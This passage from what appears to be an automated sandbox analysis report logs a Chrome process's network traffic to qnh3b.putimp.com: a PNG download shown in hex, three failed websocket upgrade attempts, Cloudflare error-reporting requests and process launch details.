2024-04-16 19:40:14 UTC	1157	OUT	GET /stwgt99Sy67fohdZsxX40uDyhgxawMl0DLWKGHLTQ6P8y0JcmnSfKqVoctw10GtltrTR6rXbtBfGvtIj6mw8GmRBagh251 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:15 UTC	793	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:15 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="stwgt99Sy67fohdZsxX40uDyhgxawMl0DLWKGHLTQ6P8y0JcmnSfKqVoctw10GtltrTR6rXbtBfGvtIj6mw8GmRBagh251" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qJVv%2FYaWjhXvKHeDZHGIIe9n3IfaE6Av2LFhjd%2FZIJllK8PCJytl3qVAHfe6lscsOxT%2BWF3qnBYOJFxz01lUcTgZeqVe05b7zj2RiZXiuOvVdgLtbdtM4%2F09cvPAqg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a55da8f544f7-ATL
2024-04-16 19:40:15 UTC	576	IN	Data Raw: 32 64 30 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 8e 00 00 03 83 08 06 00 00 00 11 c6 07 ce 00 00 20 00 49 44 41 54 78 01 ec dd cf 71 e3 c6 b6 07 e0 09 c1 21 38 04 6f 6e 95 97 13 c2 ac df 7b 0b 87 a0 12 34 7b ef ef 7b 55 0a 41 21 78 e7 ed 84 a0 10 74 33 50 06 7e d5 53 38 36 0d 13 10 4e 13 7f 1a e0 37 55 53 4d 89 0d 10 f8 70 9a 22 1b 3f 82 9f 3e f9 47 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: 2d02PNGIHDR IDATxq!8on{4{{UA!xt3P~S86N7USMp"?>G @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 0d 0a 39 64 31 0d 0a 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: 9d1 @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49812	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:15 UTC	1285	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: qnh3b.putimp.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://qnh3b.putimp.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: v2iQJU5h6eFUIS5S9b8IsQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-16 19:40:16 UTC	573	IN	HTTP/1.1 400 Bad Request Date: Tue, 16 Apr 2024 19:40:16 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9zf9QxPpT18qXZjWsB9roNB16xVLMbeT5FDMzEJcc8q1%2Bzqb44t59EBopjVSYPxMflDR%2F3i6GN0AVsFoWgpnfyfFEeEZL4nXOnm%2F4K7PMCSDj5EBGtZw7OKxu8bnCyzMH7O8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8756a566d8a3adc6-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:40:16 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-16 19:40:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49814	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:27 UTC	1285	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: qnh3b.putimp.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://qnh3b.putimp.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: dK7L2mTMgcj4rEi2DCKgYw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-16 19:40:27 UTC	569	IN	HTTP/1.1 400 Bad Request Date: Tue, 16 Apr 2024 19:40:27 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MPIu0fb42sJpMaoZk8wcgkoeJMxE0MNpgOcVYm4FCNlulcdOaTKayP1z7LBzXi%2FUsNuGo37lItOdZUlC1NZsqinDw8N3Pmyg8EtX9794t6h17bQhecuxWtyDmvLML0JZtmqI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8756a5ae1ffab0b1-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:40:27 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-16 19:40:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49818	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:48 UTC	1285	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: qnh3b.putimp.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://qnh3b.putimp.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: WeVx9llw26f/p/k5KnmRPw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-16 19:40:49 UTC	571	IN	HTTP/1.1 400 Bad Request Date: Tue, 16 Apr 2024 19:40:49 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=phIK6IBqc0hSX053HJWhyNYsfXEWJNQmh4RM0c6jV4jZaWPClzADcrmmy7llalBCQjA5jYS9rvbtCx1VcaaAj2Hykfa8%2FYbRc2uwJySKsJkRH2oIxfNbnzNzKMCE%2FtHnSVfK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8756a6316f2253fe-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:40:49 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-16 19:40:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49819	35.190.80.1	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:49 UTC	533	OUT	OPTIONS /report/v4?s=9tnWU3PQJxYmm3SS2whNOILGui6GvOtkXewQiZqO9sirGA2bwYUZ2WnTxGaazrwhyBUvsC7tFix4%2B31soyW9jRzOw99CRIBEbi%2FsnRF0hHj886PtQiTWILawQl6nDQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://qnh3b.putimp.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:40:49 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 16 Apr 2024 19:40:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49820	35.190.80.1	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:49 UTC	474	OUT	POST /report/v4?s=9tnWU3PQJxYmm3SS2whNOILGui6GvOtkXewQiZqO9sirGA2bwYUZ2WnTxGaazrwhyBUvsC7tFix4%2B31soyW9jRzOw99CRIBEbi%2FsnRF0hHj886PtQiTWILawQl6nDQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 857 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:40:49 UTC	857	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 33 37 37 30 38 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 31 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 38 34 2e 31 31 36 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 71 6e 68 33 62 2e 70 75 74 69 6d 70 Data Ascii: [{"age":37708,"body":{"elapsed_time":914,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.84.116","status_code":404,"type":"http.error"},"type":"network-error","url":"https://qnh3b.putimp
2024-04-16 19:40:50 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 16 Apr 2024 19:40:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 2260, Parent PID: 648

General

Target ID:	0
Start time:	21:39:37
Start date:	16/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
